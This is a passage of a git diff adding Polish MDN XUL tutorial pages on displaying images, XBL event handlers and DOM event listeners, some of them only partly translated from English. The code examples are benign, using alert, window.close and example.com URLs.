+<p>Podobnie jak HTML XUL posiada element do wyświetlania obrazków wewnątrz okna, który odpowiednio nazwano <code><a href="/pl/docs/Mozilla/Tech/XUL/image" title="image">image</a></code>. Zwróć uwagę, że nazwa znacznika jest inna niż w języku HTML (<i>image</i> zamiast <i>img</i>). Atrybut <code><code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></code> określa adresu URL do pliku z obrazkiem. Przykład poniżej ilustruje jego użycie:
+</p>
+<pre>&lt;image src="images/banner.jpg"/&gt;
+</pre>
+<p>Mimo że możesz skorzystać z podanej składni, lepszym rozwiązaniem jest używanie arkuszy stylów do określania adresu URL obrazka. W dalszej części kursu znajdziesz, jak <a href="pl/Kurs_XUL/Dodawanie_arkuszy_styl%c3%b3w">stosować arkusze stylów</a> lub często będzie pokazany przykład dla pełności opisu. Do ustawienia adresu URL obrazka możemy zastosować własności CSS <code><a href="pl/CSS/list-style-image">list-style-image</a></code>. Przykłady: </p>
+<pre class="eval"><b>XUL:</b>
+ &lt;image id="image1"/&gt;
+ &lt;image id="search"/&gt;
+</pre>
+<pre class="eval"><b>Arkusz stylu:</b>
+ #image1 {
+ list-style-image: url("<a class=" external" rel="freelink">chrome://findfile/skin/banner.jpg</a>");
+ }
+
+ #search {
+ list-style-image: url("<span class="nowiki">http://example.com/images/search.png</span>");
+ }
+</pre>
+<p>Obrazki pochodzą z katalogu chrome i należą do motywu z pakietu findfile. Ponieważ obrazki różnią się w zależności od używanego motywu, dlatego powinieneś je umieszczać w katalogu używanego motywu.
+</p><p>W następnym artykule nauczymy się, jak <a href="pl/Kurs_XUL/Kontrolki_wej%c5%9bcia">dodać kilka kontrolek wejścia do naszego okna</a>.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_przycisków" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Kontrolki_wejścia">Następny »</a></p>
+</div>
+<p></p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_funkcji_obsługi_zdarzenia/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_funkcji_obsługi_zdarzenia/index.html
new file mode 100644
index 0000000000..0bb0004af9
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_funkcji_obsługi_zdarzenia/index.html
@@ -0,0 +1,152 @@
+---
+title: Dodawanie funkcji obsługi zdarzenia
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodawanie_funkcji_obsługi_zdarzenia
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+ - XBL
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Event_Handlers_to_XBL-defined_Elements
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_metod" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dziedziczenie_XBL">Następny »</a></p>
+</div><p></p>
+
+<p>Następnie, dowiemy się jak dodać uchwyt zdarzenia do definiowanego elementu XBL.</p>
+
+<h3 id="Uchwyt_zdarzenia" name="Uchwyt_zdarzenia">Uchwyt zdarzenia</h3>
+
+<p>Jak możemy się spodziewać, kliknięcie myszką, naciśnięcie klawisza i inne zdarzenia są przypisane do każdego z elementów posiadających wewnątrz pewną wartość. Jednakże, are passed to each of the elements inside the content. However, you may wish to trap the events and handle them in a special way. You can add event handlers to the elements inside the content if needed. The last example in the previous section demonstrated this. In that example, <code><code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code></code> handlers were added to some buttons.</p>
+
+<h4 id="Handler_Element" name="Handler_Element">Handler Element</h4>
+
+<p>However, you may want to add an event handler to the entire contents, that is, all the elements defined in the <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#content">content</a></code></code> tag. This could be useful when trapping the focus and blur events. To define an event XBLElem|handler, use the <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#handler">handler</a></code></code> element. Each will describe the action taken for a single event handler. You can use more than one handler if necessary. If an event does not match any of the <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#handler">handler</a></code></code> events, it is simply passed to the inner content as usual.</p>
+
+<p>Generalna składnia uchwytu wygląda następująco:</p>
+
+<pre>&lt;binding id="binding-name"&gt;
+ &lt;handlers&gt;
+ &lt;handler event="event-name" action="script"/&gt;
+ &lt;/handlers&gt;
+&lt;/binding&gt;
+</pre>
+
+<p>Połóż wszystkie moje uchwyty wewnątrz elementu <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#handlers">handlers</a></code></code>. Każdy element <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#handler">handler</a></code></code> definiuje akcję pobrania szczegółowego zdarzenia określonego atrybutem <code>event</code>. Prawidłowymi typami zdarzenia są utrzymywane poprzez XUL i JavaScript, także jako <code>click</code> i <code>focus</code>. Użyj nazwy zdarzenia bez początku 'on'.</p>
+
+<p>A common reason to set handlers is to modify the custom properties when an event occurs. For example, a custom checkbox might have a checked property which needs to be changed when the user clicks the checkbox:</p>
+
+<pre>&lt;handlers&gt;
+ &lt;handler event="mouseup" action="this.checked=!this.checked"/&gt;
+&lt;/handlers&gt;
+</pre>
+
+<p>When the user clicks and releases the mouse button over the check box, the <code>mouseup</code> event is sent to it, and the handler defined here is called, causing the state of the checked property to be reversed. Similarly, you may wish to change a property when the element is focused. You might have a need to change whether an element can have the focus or not. For this, you can use a special style property <code>-moz-user-focus</code>. This property controls whether an element can be focused. (see <a href="pl/Kurs_XUL/Kontrola_zaznaczenia_i_aktywacji_element%c3%b3w">Kontrola zaznaczenia i aktywacji elementów</a>)</p>
+
+<h4 id="Handling_Mouse_Events" name="Handling_Mouse_Events">Handling Mouse Events</h4>
+
+<p>For mouse events, you can use the <code>button</code> attribute to have the handler only trap events that occur from a certain button. Without this attribute, the handler traps all events regardless of the button that was pressed. The <code>button</code> attribute should be set to either <code>0</code> for the left mouse button, <code>1</code> for the middle mouse button or <code>2</code> for the right mouse button.</p>
+
+<pre>&lt;handlers&gt;
+ &lt;handler event="click" button="0" action="alert('Left button pressed');"/&gt;
+ &lt;handler event="mouseup" button="1" action="alert('Middle button pressed')"/&gt;
+ &lt;handler event="click" button="2" action="alert('Right button pressed');"/&gt;
+&lt;/handlers&gt;
+</pre>
+
+<h4 id="Handling_Key_Events" name="Handling_Key_Events">Handling Key Events</h4>
+
+<p>For key events, you can use a number of attributes similar to those for the <code><code><a href="/pl/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> element to match a specific key and match only when certain modifer keys are pressed. The previous example could be extended so that the checked property of the check box is changed when the space bar is pressed.</p>
+
+<pre>&lt;handlers&gt;
+ &lt;handler event="keypress" key=" " action="this.checked=!checked"/&gt;
+&lt;/handlers&gt;
+</pre>
+
+<p>You can also use the <code>keycode</code> attribute to check for non-printable keys. Artykuł o <a href="pl/Kurs_XUL/Skr%c3%b3ty_klawiaturowe">skrótach klawiaturowych</a> dostarczy dodatkowych informacji. The modifier keys can be checked by adding a <code>modifiers</code> attribute. This should be set to one of the values set below:</p>
+
+<dl>
+ <dt>alt</dt>
+ <dd>Użytkownik musi nacisnąć klawisz Alt.</dd>
+</dl>
+
+<dl>
+ <dt>control</dt>
+ <dd>Użytkownik musi nacisnąć klawisz Control.</dd>
+</dl>
+
+<dl>
+ <dt>meta</dt>
+ <dd>Użytkownik musi nacisnąć klawisz Meta.</dd>
+</dl>
+
+<dl>
+ <dt>shift</dt>
+ <dd>Użytkownik musi nacisnąć klawisz Shift.</dd>
+</dl>
+
+<dl>
+ <dt>accel</dt>
+ <dd>Użytkownik musi nacisnąć specjalny the special modifier key that is usually used for keyboard shortcuts on their platform.</dd>
+</dl>
+
+<p>If set, the handler is only called when the modifier is pressed. You can require multiple modifier keys by separating them with spaces.</p>
+
+<p>The following alternate syntax can be used when the code in a handler is more complex:</p>
+
+<pre>&lt;binding id="binding-name"&gt;
+ &lt;handlers&gt;
+ &lt;handler event="event-name"&gt;
+ -- handler code goes here --
+ &lt;/handler&gt;
+ &lt;/handlers&gt;
+&lt;/binding&gt;
+</pre>
+
+<h3 id="Przyk.C5.82ad_uchwytu" name="Przyk.C5.82ad_uchwytu">Przykład uchwytu</h3>
+
+<p>Następujący przykład dodaje uchwyty kluczy, tworząc bardzo prymitywny lokalny clipboard:</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_xblevents_1.xml.txt">Źródła</a></p>
+
+<pre>&lt;binding id="clipbox"&gt;
+ &lt;content&gt;
+ &lt;xul:textbox/&gt;
+ &lt;/content&gt;
+ &lt;implementation&gt;
+ &lt;field name="clipboard"/&gt;
+ &lt;/implementation&gt;
+ &lt;handlers&gt;
+ &lt;handler event="keypress" key="x" modifiers="control"
+ action="this.clipboard=document.getAnonymousNodes(this)[0].value; document.getAnonymousNodes(this)[0].value='';"/&gt;
+ &lt;handler event="keypress" key="c" modifiers="control"
+ action="this.clipboard=document.getAnonymousNodes(this)[0].value;"/&gt;
+ &lt;handler event="keypress" key="v" modifiers="control"
+ action="document.getAnonymousNodes(this)[0].value=this.clipboard ? this.clipboard : '';"/&gt;
+ &lt;/handlers&gt;
+&lt;/binding&gt;
+</pre>
+
+<p>The content is a single textbox. A field <code>clipboard</code> has been added to it to store the clipboard contents. This does mean that the clipboard operations are limited to this single textbox. However, each one will have its own buffer.</p>
+
+<p>Three handlers have been added, one for cut, one for copy and the other for paste. Each has its own keystroke that invokes it. The first handler is the cut operation and is invoked when the Control key is pressed along with the x key. The script within the <code>action</code> attribute is used to cut the text from the textbox and put it into the clipboard field. For simplicity, the entire text is cut and not just the selected text. The code works as follows:</p>
+
+<ol>
+ <li>
+ <pre>this.clipboard=document.getAnonymousNodes(this)[0].value;
+</pre>
+ The first element of the anonymous content array is retrieved which gives a reference to the textbox element, which happens to be the first (and only) element within the content element. The value property is retrieved which will provide the text within the textbox. This is then assigned to the clipboard field. The result is copying the text in the textbox into this special clipboard.</li>
+ <li>
+ <pre>document.getAnonymousNodes(this)[0].value=''
+</pre>
+ The text of the textbox is then assigned a value of a null string. This effectively clears the text in the textbox.</li>
+</ol>
+
+<p>A copy operation is similar but does not the clear the text afterwards. Pasting is the opposite where the value of the textbox is assigned from the value in the clipboard field. If we were creating a real implementation of these clipboard keyboard shortcuts, we would probably use the real clipboard interface and handle the current selection as well.</p>
+
+<p>W następnym temacie, zobaczymy jak są zdefiniowane okna rozszerzeń XBL.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_metod" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dziedziczenie_XBL">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_funkcji_obsługi_zdarzeń/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_funkcji_obsługi_zdarzeń/index.html
new file mode 100644
index 0000000000..f06c8be41b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_funkcji_obsługi_zdarzeń/index.html
@@ -0,0 +1,133 @@
+---
+title: Dodawanie funkcji obsługi zdarzeń
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodawanie_funkcji_obsługi_zdarzeń
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Event_Handlers
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Przewijane_menu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Więcej_funkcji_obsługi_zdarzeń">Następny »</a></p>
+</div><p></p>
+
+<p>Jak dotąd, okno dialogowe <code>Znajdź pliki</code> wygląda całkiem dobrze. Nie oczyściliśmy go za bardzo, ale za to łatwo stworzony został prosty interfejs użytkownika. Następnie, pokażemy jak dodawać skrypty do naszego okna.</p>
+
+<h2 id="Zastosowanie_skrypt.C3.B3w" name="Zastosowanie_skrypt.C3.B3w">Zastosowanie skryptów</h2>
+
+<p>Aby utworzone okno dialogowe <code>Znajdź pliki</code> było funkcjonalne, potrzebujemy dodać pewne skrypty, które będą wykonane w trakcie interakcji użytkownika z oknem dialogowym. Chcielibyśmy dodać skrypt funkcji, która będzie obsługiwała przycisk <code>Znajdź</code>, przycisk <code>Anuluj</code> oraz wszystkich funkcji obsługi zdarzeń - każdego polecenia w menu. Należy wspomnieć, że korzystanie z funkcji języka <a href="pl/JavaScript">JavaScript</a>, jest podobne do tego z jakim się możemy spotkać w <a href="pl/HTML">HTML</a>.</p>
+
+<p>Możemy wykorzystać element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/script" title="script">script</a></code></code>, aby dołączyć skrypty do plików XUL. Możemy zagnieżdżać kod skryptu bezpośrednio w pliku XUL poprzez umieszczenie go pomiędzy otartym i zamkniętym znacznikiem <code>script</code>, ale znacznie lepiej korzystać z plików zewnętrznych, które będą wczytywane znacznie szybciej. Atrybut <code><code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></code> jest stosowany do odniesienia się do zewnętrznego pliku ze skryptem.</p>
+
+<div class="highlight">
+<h3 id="Nasz_przyk.C5.82ad:_Okno_Znajd.C5.BA_pliki" name="Nasz_przyk.C5.82ad:_Okno_Znajd.C5.BA_pliki">Nasz przykład: Okno <code>Znajdź pliki</code></h3>
+
+<p>Dodajmy, skrypt do okna dialogowego <code>Znajdź pliki</code>. Chociaż, że nie ma znaczenia jaką nazwę mu nadamy, plik przechowujący skrypt to zazwyczaj jest o tej samej nazwie, co pliku XUL, z tą tylko różnicą, że z rozszerzeniem <code>.js</code>. W tym przypadku użyjemy <code>findfile.js</code>. Dodamy linię poniżej zaraz za otwierającym znacznikiem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> i PRZED jakimkolwiek innym elementem.</p>
+
+<pre class="eval"><span class="highlightred">&lt;script src="findfile.js"/&gt;</span>
+</pre>
+
+<p>Plik ze skryptem stworzymy później, kiedy będziemy już wiedzieli, co chcemy umieścić wewnątrz naszego skryptu. Zdefiniujemy kilka funkcji w pliku i będziemy mogli później wywołać za pomocą funkcji obsługi zdarzeń.</p>
+</div>
+
+<p>Możemy dołączać wiele skryptów w pliku XUL, poprzez wielokrotne zastosowanie znacznika <code>script</code>, przy czym każdy wskazywałby na inny skrypt. Adresy URL możemy stosować względne lub bezwzględne. Na przykład możemy stosować adresy URL w następujących formach:</p>
+
+<pre class="eval">&lt;script src="findfile.js"/&gt;
+&lt;script src="<a class="external" rel="freelink">chrome://findfiles/content/help.js</a>"/&gt;
+&lt;script src="<span class="nowiki">http://www.example.com/js/items.js</span>"/&gt;
+</pre>
+
+<p>Ten kurs nie jest jednak próbą nauki posługiwania się językiem JavaScript, ze względu na ogromny rozmiar tego tematu, jak i łatwą dostępność odpowiednich do tego materiałów.</p>
+
+<div class="note">Domyślnie konsola JavaScript pokazuje tylko błędy znajdujące się w treści strony, aby wyświetlić błędy chrome JavaScriptu. Do wprowadzenia tych ustawień jest konieczna zmiana ustawień <code>javascript.options.showInConsole</code> na wartość <code>true</code>. Możemy również zmienić ustawienie <code>javascript.options.strict</code> dla debugowania. Poprzez ustawienie wartości na true, <strong>non-standard, poorly written lub syntax prone to cause logic errors are logged to the JavaScript console</strong>.</div>
+
+<h2 id="Odpowiadanie_na_zdarzenia" name="Odpowiadanie_na_zdarzenia">Odpowiadanie na zdarzenia</h2>
+
+<p>Skrypt będzie zawierał kod odpowiadający na różne zdarzenia wywoływane przez użytkownika lub inne sytuacje. Istnieje około trzydziestu różnych zdarzeń, które mogą być obsługiwane kilkoma różnymi sposobami. Typowym zdarzeniem jest to, że użytkownik naciska klawisz myszy lub klawiatury. Każdy element języka XUL posiada zdolność do wywoływania pewnych zdarzeń w różnych sytuacjach. Pewne zdarzenia są wywoływane tylko poprzez niektóre elementy.</p>
+
+<p>Każde zdarzenie posiada nazwę, dla przykładu; 'mousemove' jest nazwą zdarzenia, które jest wywoływane, kiedy użytkownik przeniesie kursor myszy nad element UI. XUL stosuje ten sam mechanizm zdarzeń, który jest zdefiniowany przez <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/">zdarzenia DOM</a>. Kiedy pojawia się akcja powodująca zdarzenie, taka jak; użytkownik poruszający myszką, tworzony jest obiekt zdarzenia odnoszący się do typu tego zdarzenia. Wiele rozmaitych własności jest ustawionych na obiekt zdarzenia, takich jak pozycja myszki, klawisz, który został naciśnięty i inne.</p>
+
+<p>Zdarzenie jest wysyłane do XUL-a fazowo:</p>
+
+<ul>
+ <li>Pierwsza faza to faza przejęcia, w której zdarzenie jest po raz pierwszy wysyłane do okna, następnie do dokumentu, kierując się za każdym przodkiem elementu XUL, gdzie wystąpiło wcześniej zdarzenie, dopóki osiągnie ten element.</li>
+ <li>Zdarzenie jest wysyłane do tego elementu XUL.</li>
+ <li>W ostatecznej fazie zdarzenie zostaje wysłane do każdego elementu z powrotem w górę, dopóki nie osiągnie po raz kolejny okna.</li>
+</ul>
+
+<p>Możemy zareagować na zdarzenia podczas obu wspomnianych wyżej faz. Kiedy zdarzenie zakończy swoją propagacje, następuje dowolna domyślna akcja, która jest wbudowana w zachowanie elementu.</p>
+
+<p>Na przykład, kiedy poruszymy myszą ponad przyciskiem znajdującym się w pudełku, generowane jest zdarzenie 'mousemove' i jest ono pierwszym, które zostaje wysłane do okna, następnie do dokumentu, i w końcu do pudełka. To zakańcza fazę przejęcia. Następnie, zdarzenie 'mousemove' zostaje wysłane do przycisku. Ostateczna faza powoduje, że zdarzenie zostaje wysłane do pudełka, dokumentu oraz okna. Ostatnia faza jest odwrotnością fazy przejęcia. Warto też zaznaczyć, że niektóre zdarzenia nie wykorzystują ostatniej fazy.</p>
+
+<p>Możemy również dołączyć nasłuch do każdego z elementów, aby każdy z nich był w stanie nasłuchiwać zdarzenia, w trakcie każdego etapu propagacji zdarzenia. Z względu na sposób, w jaki pojedyncze zdarzenie jest przekazywane do wszystkich przodków, można dodać nasłuch do określonego elementu lub do elementu, który znajduje się wyżej w hierarchii. Naturalnie, zdarzenie dodane do elementu wyższego otrzyma powiadomienie o wszystkich elementach wewnątrz jego, natomiast zdarzenie dodane do przycisku będzie w stanie tylko odbierać zdarzenia odnoszące się do tego przycisku. Jest to użyteczne, w przypadku istnienia kilku różnych elementów, które chcielibyśmy obsłużyć poprzez zastosowanie tego samego lub podobnego kodu. <span class="comment">ok</span> Kiedy już obsłużysz zdarzenie, bez względu na to gdzie następuje propagacja zdarzenia, prawdopodobnie zechcesz powstrzymać wydarzenie od wysłania go do kolejnych elementów, zatrzymując fazę przejęcia lub wrzenia. W zależności od tego jak dodasz nasłuch zdarzenia do elementu, istnieje kilka możliwości realizacji tego zagadnienia.</p>
+
+<p>Najczęściej używanym zdarzeniem jest zdarzenie 'command'. Zdarzenie command jest 'odpalane' w momencie aktywacji elementu przez użytkownika, na przykład poprzez naciśnięcie przycisku, zmianę pola wyboru lub zaznaczenie jednej pozycji z menu. Zdarzenie command jest użytecznym zdarzeniem ze względu na jego zdolność do automatycznej obsługi różnych sposobów aktywacji elementów. Na przykład: zdarzenie command wystąpi bez względu na to, czy użytkownik użyje przycisku myszy, bądź też naciśnie klawisz Enter.</p>
+
+<p>Istnieją dwa sposoby na dodanie nasłuchu do elementu. Pierwszy, następuje poprzez użycie atrybutu, którego wartość reprezentuje skrypt. Drugi, następuje natomiast dzięki odwołaniu się do metody addEventListener dotyczącej poszczególnego elementu. Pierwsza metoda, mimo prostoty swojej implementacji jest w stanie obsługiwać jedynie zdarzenia fazy wrzenia. Druga natomiast, jest w stanie obsługiwać zdarzenia będące w dowolnej fazie i może być także używana do dodawania wielu nasłuchów zdarzenia obsługującego dany element. Wykorzystywanie atrybutów jest najczęściej stosowaną metodą dla większości zdarzeń.</p>
+
+<h2 id="Nas.C5.82uch_atrybutu_zdarzenia" name="Nas.C5.82uch_atrybutu_zdarzenia">Nasłuch atrybutu zdarzenia</h2>
+
+<p>W celu wykorzystania atrybutów, należy umieścić atrybut w elemencie, do którego chcielibyśmy dodać nasłuch jego zdarzenia. Jego nazwa powinna być nazwą samego zdarzenia poprzedzoną przedrostkiem 'on'. Przykładowo, atrybut przesyłający zdarzenie 'command' to 'oncommand'. Wartość atrybutu powinna być skryptem, który zostanie wykonany w przypadku zajścia zdarzenia. W większości przypadków kod ten jest wyjątkowo prosty i odnosi się do funkcji zdefiniowanej w oddzielnym skrypcie. Poniżej przykład odpowiedzi na wciśnięcie przycisku:</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_1.xul">Podgląd</a></p>
+
+<pre class="eval">&lt;button label="OK" oncommand="alert('Przycisk został naciśnięty!');"/&gt;
+</pre>
+
+<p>Ponieważ zdarzenie 'command' będzie w fazie wrzenia, jest także możliwe, aby umieścić nasłuch zdarzenia w otaczającym je elemencie. W poniższym przykładzie, nasłuch został umieszczony w pudełku i będzie otrzymywał zdarzenia dla obu tych elementów.</p>
+
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_2.xul">Podgląd</a></p>
+
+<pre class="eval">&lt;vbox oncommand="alert(event.target.tagName);"&gt;
+ &lt;button label="OK"/&gt;
+ &lt;checkbox label="Pokaż obrazki"/&gt;
+&lt;/vbox&gt;
+</pre>
+
+<p>W tym przykładzie, zdarzenie 'command' będzie w fazie wrzenia, począwszy od przycisku lub checkbox, aż do <code>vbox</code>, który je obsłuży. W przypadku drugiego nasłuchu (atrybut <code>oncommand</code>), który został umieszczony w przycisku, jego kod będzie wywołany w pierwszej kolejności, a dopiero po nim wywołana będzie obsługa vbox. Obsługa zdarzeń jest przekazywana, dzięki obiektom zdarzeń, jako dołączony argument nazwany 'event'. Jest to używane w celu otrzymania specyficznych informacji na temat wydarzenia. Jedną z najczęściej używanych własności jest własność 'target', która zawiera element, odnośnie którego zaszło dane wydarzenie. W poniższym przykładzie wyświetlamy alert zawierający nazwy znaczników celu (target). Cel jest zazwyczaj użyteczny, w przypadku użycia zdarzeń w fazie wrzenia, tak aby otrzymać zestaw przycisków, które wszystkie będą obsługiwane przez pojedynczy skrypt.</p>
+
+<p>Można zauważyć, że składnia atrybutów jest podobna do tej użytej przy obsłudze zdarzeń w dokumentach HTML. W zasadzie, obydwa HTML i XUL dzielą ten sam mechanizm zdarzeń. Jedną z ważniejszych różnic jest użycie zdarzenia 'click' (lub atrybutu <code>onclick</code>), które to często używane w HTML-u w celu obsługi funkcji zdarzeń przycisków, w XUL-u jest zastąpione zdarzeniem 'command'. XUL również posiada zdarzenie "click", jednak odnosi się ono jedynie do obsługi przycisków myszy, nie klawiatury. Powinno się unikać zdarzenia "click" korzystając z XUL-a, chyba że istnieje przypadek, w którym dany element może być obsłużony tylko za pomocą myszy.</p>
+
+<div class="highlight">
+<h3 id="Nasz_przyk.C5.82ad:_Okno_Znajd.C5.BA_pliki_2" name="Nasz_przyk.C5.82ad:_Okno_Znajd.C5.BA_pliki_2">Nasz przykład: Okno <code>Znajdź pliki</code></h3>
+
+<p>Obsługa poleceń, może zostać dodana tak do przycisku <code>Znajdź</code> i <code>Anuluj</code> występujących w naszym oknie dialogowym. Wciśnięcie przycisku <code>Znajdź</code>, powinno uruchomić proces wyszukiwania. Ponieważ nie mamy zamiaru implementować jeszcze tej części, zostawimy to na razie. Jednakże, wciśnięcie przycisku <code>Anuluj</code>, powinno zamknąć okno. Poniższy kod obrazuje sposób wykonania tego zadania. Dodajmy także podobne zdarzenie do pozycji <code>Zamknij</code> znajdującej się w menu.</p>
+
+<pre class="eval">&lt;menuitem label="Zamknij" accesskey="z" <span class="highlightred">oncommand="window.close();"</span>/&gt;
+...
+
+&lt;button id="cancel-button" label="Anuluj"
+ <span class="highlightred">oncommand="window.close();</span>"/&gt;
+</pre>
+
+<p>Obsługa zdarzeń została dodana do obu elementów. Atrybut oncommand został dodany do pozycji <code>Zamknij</code> znajdującej się w menu. Poprzez użycie tej specyficznej obsługi zdarzeń, użytkownik będzie w stanie zamknąć okno poprzez kliknięcie na pozycji <code>Zamknij</code> myszką lub przez jej wybór za pomocą klawiatury. Obsługa zdarzenia oncommand została także dodana do przycisku <code>Anuluj</code>.</p>
+</div>
+
+<h2 id="Nas.C5.82uchiwanie_zdarze.C5.84_DOM" name="Nas.C5.82uchiwanie_zdarze.C5.84_DOM">Nasłuchiwanie zdarzeń DOM</h2>
+
+<p>Drugim sposobem dodania obsługi zdarzeń jest wywoływanie metody <code>addEventListener</code> związanej z danym elementem. Pozwala nam to na dołączenie nasłuchu zdarzenia dynamicznie i słuchanie zdarzeń podczas fazy przejęcia. Składnia jest następująca:</p>
+
+<p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_3.xul">Podgląd</a></p>
+
+<pre>&lt;button id="okbutton" label="OK"/&gt;
+
+&lt;script&gt;
+function buttonPressed(event)
+{
+ alert('Przycisk został wciśnięty!');
+}
+
+var button = document.getElementById("okbutton");
+button.addEventListener('command', buttonPressed, true);
+&lt;/script&gt;
+</pre>
+
+<p>Funkcja <code><a href="pl/DOM/document.getElementById">getElementById()</a></code> zwraca element o danym id, w tym przypadku będzie to identyfikator przycisku. Funkcja <code><a href="pl/DOM/element.addEventListener">addEventListener()</a></code> jest wywoływana w celu dodania nowego nasłuchu zdarzenia znajdującego się w fazie przejęcia. Pierwszym argumentem jest nazwa zdarzenia, do której jest przypisany nasłuch. Drugi argument to funkcja nasłuchu zdarzenia, która będzie wywoływana, kiedy zajdzie zdarzenie. Wreszcie ostatni argument powinien mieć wartość <code>true</code> dla wszystkich nasłuchiwanych zdarzeń odnoszących się do fazy przejęcia. Można także obsługiwać zdarzenia w trakcie fazy wrzenia, poprzez ustawianie wartości ostatniego argumentu na <code>false</code>. Funkcja nasłuchu zdarzenia przekazywana jako drugi argument, sama powinna pobierać jeden argument, obiekt zdarzenia, tak jak jest pokazane to w powyższej deklaracji funkcji <code>buttonPressed</code>.</p>
+
+<div class="highlight"><span id="Przyk%C5%82ad:_Znajd%C5%BA_pliki"><a id="Przyk%C5%82ad:_Znajd%C5%BA_pliki"></a><strong>Przykład: Znajdź pliki</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-events.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-events.xul">Podgląd</a></div>
+
+<p>Następnie, dowiemy się trochę więcej szczegółów na temat <a href="pl/Kurs_XUL/Wi%c4%99cej_funkcji_obs%c5%82ugi_zdarze%c5%84">zdarzeń obiektów</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Przewijane_menu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Więcej_funkcji_obsługi_zdarzeń">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_innych_elementów/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_innych_elementów/index.html
new file mode 100644
index 0000000000..2ef702672e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_innych_elementów/index.html
@@ -0,0 +1,87 @@
+---
+title: Dodawanie innych elementów
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodawanie_innych_elementów
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_More_Elements
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Pola_grup" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Stosy_i_pokłady">Następny »</a></p>
+</div><p></p>
+<p>Podsumowaniem dyskusji o pudełkach będzie dodanie kilku pudełek do okna dialogowego służącego do szukania plików.</p>
+<div class="highlight">
+ <h3 id="Dodawanie_element.C3.B3w_do_przyk.C5.82adu:_Znajd.C5.BA_pliki" name="Dodawanie_element.C3.B3w_do_przyk.C5.82adu:_Znajd.C5.BA_pliki">Dodawanie elementów do przykładu: &lt;tt&gt;Znajdź pliki&lt;/tt&gt;</h3>
+ <p>Dodamy więcej elementów do okna dialogowego szukania plików. Po pierwsze, dodamy możliwość szukania według innych kryteriów, takich jak rozmiar pliku lub według daty.</p>
+ <pre class="eval">&lt;hbox&gt;
+ <span class="highlightred">&lt;menulist id="searchtype"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Nazwa"/&gt;
+ &lt;menuitem label="Rozmiar"/&gt;
+ &lt;menuitem label="Data modyfikacji"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menulist&gt;
